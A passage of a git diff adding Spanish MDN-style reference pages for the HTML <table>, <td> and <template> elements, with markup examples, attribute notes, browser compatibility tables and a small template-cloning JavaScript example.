+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;First name&lt;/th&gt;
+    &lt;th&gt;Last name&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Table with thead, tfoot, and tbody --&gt;
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Header content 1&lt;/th&gt;
+      &lt;th&gt;Header content 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Footer content 1&lt;/td&gt;
+      &lt;td&gt;Footer content 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Body content 1&lt;/td&gt;
+      &lt;td&gt;Body content 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;!-- Table with colgroup --&gt;
+&lt;table&gt;
+  &lt;colgroup span="4" class="columns"&gt;&lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Countries&lt;/th&gt;
+    &lt;th&gt;Capitals&lt;/th&gt;
+    &lt;th&gt;Population&lt;/th&gt;
+    &lt;th&gt;Language&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;USA&lt;/td&gt;
+    &lt;td&gt;Washington D.C.&lt;/td&gt;
+    &lt;td&gt;309 million&lt;/td&gt;
+    &lt;td&gt;English&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Sweden&lt;/td&gt;
+    &lt;td&gt;Stockholm&lt;/td&gt;
+    &lt;td&gt;9 million&lt;/td&gt;
+    &lt;td&gt;Swedish&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Table with colgroup and col --&gt;
+&lt;table&gt;
+  &lt;colgroup&gt;
+    &lt;col class="column1"&gt;
+    &lt;col class="columns2plus3" span="2"&gt;
+  &lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Lime&lt;/th&gt;
+    &lt;th&gt;Lemon&lt;/th&gt;
+    &lt;th&gt;Orange&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Green&lt;/td&gt;
+    &lt;td&gt;Yellow&lt;/td&gt;
+    &lt;td&gt;Orange&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Simple table with caption --&gt;
+&lt;table&gt;
+  &lt;caption&gt;Awesome caption&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Awesome data&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+<h4 id="Resultado">Resultado</h4>
+
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td>John</td>
+      <td>Doe</td>
+    </tr>
+    <tr>
+      <td>Jane</td>
+      <td>Doe</td>
+    </tr>
+  </tbody>
+</table>
+
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th>First name</th>
+      <th>Last name</th>
+    </tr>
+    <tr>
+      <td>John</td>
+      <td>Doe</td>
+    </tr>
+    <tr>
+      <td>Jane</td>
+      <td>Doe</td>
+    </tr>
+  </tbody>
+</table>
+
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th>Header content 1</th>
+      <th>Header content 2</th>
+    </tr>
+  </thead>
+  <tfoot>
+    <tr>
+      <td>Footer content 1</td>
+      <td>Footer content 2</td>
+    </tr>
+  </tfoot>
+  <tbody>
+    <tr>
+      <td>Body content 1</td>
+      <td>Body content 2</td>
+    </tr>
+  </tbody>
+</table>
+
+<table class="standard-table">
+  <colgroup>
+  </colgroup>
+  <tbody>
+    <tr>
+      <th>Countries</th>
+      <th>Capitals</th>
+      <th>Population</th>
+      <th>Language</th>
+    </tr>
+    <tr>
+      <td>USA</td>
+      <td>Washington D.C.</td>
+      <td>309 million</td>
+      <td>English</td>
+    </tr>
+    <tr>
+      <td>Sweden</td>
+      <td>Stockholm</td>
+      <td>9 million</td>
+      <td>Swedish</td>
+    </tr>
+  </tbody>
+</table>
+
+<table class="standard-table">
+  <colgroup>
+    <col class="column1">
+    <col class="columns2plus3">
+  </colgroup>
+  <tbody>
+    <tr>
+      <th>Lime</th>
+      <th>Lemon</th>
+      <th>Orange</th>
+    </tr>
+    <tr>
+      <td>Green</td>
+      <td>Yellow</td>
+      <td>Orange</td>
+    </tr>
+  </tbody>
+</table>
+
+<table class="standard-table">
+  <caption>
+    Awesome caption</caption>
+  <tbody>
+    <tr>
+      <td>Awesome data</td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>1.0</td>
+        <td>{{CompatGeckoDesktop("1")}}</td>
+        <td>4.0</td>
+        <td>7.0</td>
+        <td>1.0</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>1.0</td>
+        <td>{{CompatGeckoMobile("1")}}</td>
+        <td>6.0</td>
+        <td>6.0</td>
+        <td>1.0</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h3 id="Consulte_también">Consulte también</h3>
+<ul>
+  <li>Otros elementos HTML relacionados a tablas: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}};</li>
+  <li>Propiedades CSS que pueden ser especialmente útiles para estilizar el elemento <span style="font-family: Courier New;">&lt;table&gt;</span>:
+    <ul>
+      <li>{{cssxref("width")}} para controlar el ancho de la tabla;</li>
+      <li>{{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-collapse")}}, {{cssxref("border-spacing")}} para controlar el aspecto de los bordes de las celdas, reglas y marco;</li>
+      <li>{{cssxref("margin")}} y {{cssxref("padding")}} para estilizar el contenido individual de las celdas;</li>
+      <li>{{cssxref("text-align")}} y {{cssxref("vertical-align")}} para definir la alineación del contenido y del texto de las celdas.</li>
+    </ul>
+  </li>
+</ul>
diff --git a/files/es/web/html/elemento/td/index.html b/files/es/web/html/elemento/td/index.html
new file mode 100644
index 0000000000..dc8867d87f
--- /dev/null
+++ b/files/es/web/html/elemento/td/index.html
@@ -0,0 +1,310 @@
+---
+title: <td>
+slug: Web/HTML/Elemento/td
+translation_of: Web/HTML/Element/td
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento <a href="/es/docs/Web/HTML">HTML</a> <em>Celda de tabla</em> (<strong><code>&lt;td&gt;</code></strong>) define la celda de una tabla que contiene datos. Esta participa en el <em>modelo de tablas</em>.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td>Ninguna.</td>
+  </tr>
+  <tr>
+   <th>Contenido permitido</th>
+   <td>Contenido dinámico.</td>
+  </tr>
+  <tr>
+   <th>Omision de Etiquetas</th>
+   <td>La <span title="syntax-etiqueta-de-inicio">etiqueta de inicio</span> es obligatoria.<br>
+    La etiqueta final puede ser omitida, si esta inmediatamente seguida por un elemento {{HTMLElement("th")}} o un {{HTMLElement("td")}} o si no hay más datos en el elemento padre.</td>
+  </tr>
+  <tr>
+   <th>Elementos padre permitidos</th>
+   <td>Un elemento {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th>Documento normativo</th>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-td-element" rel="external">HTML5, section 4.9.9</a> (<a href="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.2.6">HTML4.01, section 11.2.6</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Este atributo contiene un pequeña descripción abreviada del contenido de la celda. Algunos agentes de usuario, como los lectores de voz, pueden presentar esta descripción antes que el propio contenido.
+ <div class="note"><strong>Nota:</strong> No usar este atributo ya que esta obsoleto en la ultima version del estandar.  Como alternativa, puedes poner una descripción abreviada dentro de la celda y colocar el contenido largo en el atributo <strong>title</strong>.</div>
+ </dd>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>Este atributo especifíca la posición horizontal del contenido de la celda, los valores de la misma pueden ser:
+ <ul>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">Izquierda</font>, alínea el contenido de la celda a la izquierda</li>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">Centro</font>, centra el contenido de una celda</li>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">Derecha</font>, alínea el contenido de la celda a la derecha</li>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">Justificado</font>, inserta espacios en el texto para que el contenido se ajuste a la celda</li>
+  <li><code>char</code>, alinear el contenido a un caracter especial definido por los atributos {{htmlattrxref("char", "td")}} y {{htmlattrxref("charoff", "td")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si este atributo no se define, se selecciona por defecto <code>left</code></p>
+
+ <div class="note"><strong>Nota:</strong> No usar este atributo ya que esta obsoleto en la ultima version.
+
+ <ul>
+  <li>Para lograr el mismo efecto de los valores <code>left</code>, <code>center</code>, <code>right</code>, o <code>justify</code> , usa la propiedad CSS {{cssxref("text-align")}} en el.</li>
+  <li>Para lograr el mismo efecto que el valor <code>char</code> , en CSS3,puedes usar el valor de la {{htmlattrxref("char", "td")}} como el valor de la propiedad {{cssxref("text-align")}}  {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline}} en {{HTMLVersionInline(5)}}</dt>
+ <dd>
+ <pre dir="ltr" id="tw-target-text">Este atributo contiene una lista de cadenas separadas por espacios . Cada cadena es el ID de un grupo de celdas a las que esta cabecera se aplica.</pre>
+
+ <div class="note"><strong>Nota: </strong>No usar este atributo ya que esta obsoleto en la ultima version. En su lugar use el atributo {{htmlattrxref("scope", "td")}} .</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>
+ <pre dir="ltr" id="tw-target-text">Este atributo define el color de fondo de cada celda de la columna. Es uno de los códigos de 6 dígitos hexadecimales como se definen en sRGB , prefijado por un '# ' . Una de las cadenas de color predefinidos dieciséis se pueden utilizar :</pre>
+
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Negro</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td>Verde = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><font face="Consolas, Liberation Mono, Courier, monospace">Plata</font> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Lima</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><font face="Consolas, Liberation Mono, Courier, monospace">Gris</font> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><font face="Consolas, Liberation Mono, Courier, monospace">Oliva</font> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><font face="Consolas, Liberation Mono, Courier, monospace">Blanco</font> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><font face="Consolas, Liberation Mono, Courier, monospace">Amarillo</font> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Marrón</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><font face="Consolas, Liberation Mono, Courier, monospace">Marino</font> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Rojo</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Azul</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Purpura</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Verde Azulado</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>Fucsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>agua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">Nota: No usar este atributo ya que esta obsoleto en la ultima version del estandar y solo implementado en algunas versiones de Microsoft Internet Explorer: El elemento {{HTMLElement("td")}} debe ser estilizado en CSS. <br>
+ Para crear un efecto similar en CSS en su lugar use la propiedad {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>
+ <pre dir="ltr" id="tw-target-text">Este atributo se utiliza para establecer el carácter para alinear las celdas de una columna . Los valores típicos de esto incluyen un punto (. ) al intentar alinear los números o valores monetarios . Si { { htmlattrxref ( " align " , " td " ) } } no está ajustado a char, este atributo se ignora.</pre>
+
+ <div class="note"><strong>Note: </strong>No usar este atributo ya que está obsoleto (y no soportado) en las últimas versiones estándares).  Para lograr el mismo que el {{htmlattrxref("char", "thead")}}, en CSS3, puedes usar el character set usando el atributo {{htmlattrxref("char", "th")}} como el valor de la propiedad {{cssxref("text-align")}}  {{unimplemented_inline}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd><br>
+ Este atributo se utiliza para indicar el número de caracteres para compensar los datos de la columna de los personajes de alineación especificado por el atributo de carbón .
+ <div class="note">Nota: No usar este atributo ya que esta obsoleto en la ultima version del estandar,</div>
+ </dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>
+ <pre dir="ltr" id="tw-target-text">Este atributo contiene un valor entero no negativo que indica por el número de columnas se extiende la célula. Su valor por defecto es 1 ; si su valor se establece en 0 , se extiende hasta el final de la { { HTMLElement ( " colgroup " ) } } , aunque implícitamente definido , que la célula pertenece. Los valores superiores a 1000 serán consideradas como incorrectas y se establecen en el valor predeterminado ( 1 ) .</pre>
+
+ <div class="note"><strong>Nota: En</strong> {{HTMLVersionInline(5)}} este atributo solo acepta valores mayores que 0 this attribute only accepts values greater than zero since it <a href="http://dev.w3.org/html5/spec/single-page.html#attr-tdth-colspan">must not be used to overlap cells</a>. Además, Firefox is the only browser to support the 0 value as defined in the {{HTMLVersionInline(4.01)}} specification.</div>
+ </dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd><br>
+ Este atributo contiene una lista de cadenas separadas por espacios , cada uno correspondiente al atributo ID de la { { HTMLElement ( "th" ) } } elementos que se aplican a este elemento.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd><br>
+ Este atributo contiene un valor entero no negativo que indica a cuántas filas se extiende la célula. Su valor por defecto es 1 ; si su valor se establece en 0 , se extiende hasta el final de la sección de la tabla ( { { HTMLElement ( " culata en T " ) } } , { { HTMLElement ( " tbody " ) } } , { { HTMLElement ( " tfoot " ) } } , incluso si define implícitamente , que la célula pertenece. los valores superiores a 65534 se recortan hasta 65534 .</dd>
+ <dt>{{htmlattrdef("scope")}} {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd> </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd><br>
+ Este atributo especifica la alineación vertical del texto dentro de cada fila de células de la cabecera de la tabla . Los valores posibles para este atributo son :
+ <ul>
+  <li><code>baseline</code>,<span style="background-color: #fafbfc; font-family: consolas,monaco,andale mono,monospace; font-size: 1rem; line-height: 19px; white-space: pre;"> pondrá el texto tan cerca del fondo de la celda , ya que es posible, pero alinearlo en la línea de base de los caracteres en lugar de la parte inferior de ellos. Si los caracteres son todos del mismo tamaño , esto tiene el mismo efecto que la parte inferior.</span></li>
+  <li><code>bottom</code>,  pondrá el texto tan cerca del fondo de la celda , ya que es posible</li>
+  <li><code>middle</code>, centra el texto de la celda</li>
+  <li>and <code>top</code>, pone el texto como cerca de la parte superior de la celda como es posible .</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{cssxref("vertical-align")}} property on it.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}</dt>
+ <dd><br>
+ Este atributo se utiliza para definir una anchura de celda recomendada. Propiedades CELLSPACING y cellpadding pueden añadir espacio adicional, y el elemento { { HTMLElement ( "col " ) } } anchura pueden también tener algún efecto . En general, si el ancho de una columna es demasiado estrecha para mostrar una célula particular correctamente, y por lo tanto las células en el mismo, se puede ensanchar cuando se muestra .</dd>
+ <dd>
+ <div class="note"><strong>Note: </strong>Do not use this attribute in the latest standard: instead set the CSS {{cssxref("width")}} property.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_interfaz">DOM interfaz</h2>
+
+<p> </p>
+
+<p>Este elemento implementa el interfaz {{domxref("HTMLTableDataCellElement")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p> </p>
+
+<p>Por favor, ver la página {{HTMLElement("table")}} para ejemplos de <code>&lt;td&gt;</code>.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>colspan</code> attribute with value 0 (extend to the end of the colgroup)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otros Elementos HTML relacionados con tablas: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/template/index.html b/files/es/web/html/elemento/template/index.html
new file mode 100644
index 0000000000..b6fe0ca924
--- /dev/null
+++ b/files/es/web/html/elemento/template/index.html
@@ -0,0 +1,155 @@
+---
+title: <template>
+slug: Web/HTML/Elemento/template
+tags:
+  - Plantilla
+translation_of: Web/HTML/Element/template
+---
+<p><span class="seoSummary">El <strong>elemento</strong> <strong>HTML <code>&lt;template&gt;</code></strong> es un mecanismo para mantener el contenido </span> <span class="seoSummary">{{Glossary("HTML")}}</span> <span class="seoSummary">del lado del cliente que no se renderiza cuando se carga una página, pero que posteriormente puede ser instanciado durante el tiempo de ejecución empleando JavaScript.</span></p>
+
+<p>Piensa en la plantilla como un fragmento de contenido que está siendo almacenado para un uso posterior en el documento. El analizador procesa el contenido del elemento <strong><code>&lt;template&gt;</code> </strong>durante la carga de la página, pero sólo lo hace para asegurar que esos contenidos son válidos; sin embargo, estos contenidos del elemento no se renderizan.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorías de Contenido</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Metadata_content">Metadata content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, script-supporting element</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Sin restricciones</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Cualquier elemento que acepte <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Metadata_content">metadata content</a>, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, o <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Script-supporting_elements">script-supporting elements</a>. También se permiten como hijos de un elemento {{HTMLElement("colgroup")}} que no tenga un atributo {{htmlattrxref("span", "colgroup")}} .</td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>No <code>role</code> permitted</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLTemplateElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento sólo incluye <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<p>SInembargo, {{domxref("HTMLTemplateElement")}} tiene una propiedad  {{domxref("HTMLTemplateElement.content", "content")}}, que es solo-lectura cuyo  {{domxref("DocumentFragment")}} contiene el subárbol DOM que representa a la plantilla.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Primero empezamos con la parte HTML del ejemplo.</p>
+
+<pre class="brush: html">&lt;table id="producttable"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;td&gt;UPC_Code&lt;/td&gt;
+      &lt;td&gt;Product_Name&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;!-- datos opcionales pueden incluirse aquí opcionalmente --&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;template id="productrow"&gt;
+  &lt;tr&gt;
+    &lt;td class="record"&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Inicialmente tenemos una tabla en la cual insertaremos más tarde contenido usando código JavaScript. Más abajo viene el template, el cual describe la estructura de un fragmento HTML representando la fila de una tabla.</p>
+
+<p>Ahora que la tabla ha sido creada y el template definido, usamos JavaScript para insertar filas en la tabla, con cada fila siendo construida usando el template como su base.</p>
+
+<pre class="brush:js;">// Comprobar si el navegador soporta el elemento HTML template element chequeando
+// si tiene el atributo 'content'
+if ('content' in document.createElement('template')) {
+
+  // Instanciar la tabla con el tbody existente
+  // y la fila con el template
+  var t = document.querySelector('#productrow'),
+  td = t.content.querySelectorAll("td");
+  td[0].textContent = "1235646565";
+  td[1].textContent = "Stuff";
+
+  // Clonar la nueva fila e insertarla en la tabla
+  var tb = document.querySelector("tbody");
+  var clone = document.importNode(t.content, true);
+  tb.appendChild(clone);
+
+  // Crear una nueva fila
+  td[0].textContent = "0384928528";
+  td[1].textContent = "Acme Kidney Beans";
+
+  // Clonar la nueva fila e insertarla en la tabla
+  var clone2 = document.importNode(t.content, true);
+  tb.appendChild(clone2);
+
+} else {
+  // Buscar otra manera de añadir filas a la tabla porque el
+  // elemento template no está soportado.
+}
+</pre>
+
+<p>El resultado es la tabla HTML original HTML , con dos nuevas filas adjuntadas via JavaScript:</p>
+
+<div class="hidden">
+<pre class="brush: css">table {
+  background: #000;
+}
+table td {
+  background: #fff;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Examples", 500, 120)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.template")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Web components: {{HTMLElement("slot")}} (e históríco: {{HTMLElement("shadow")}})</li>
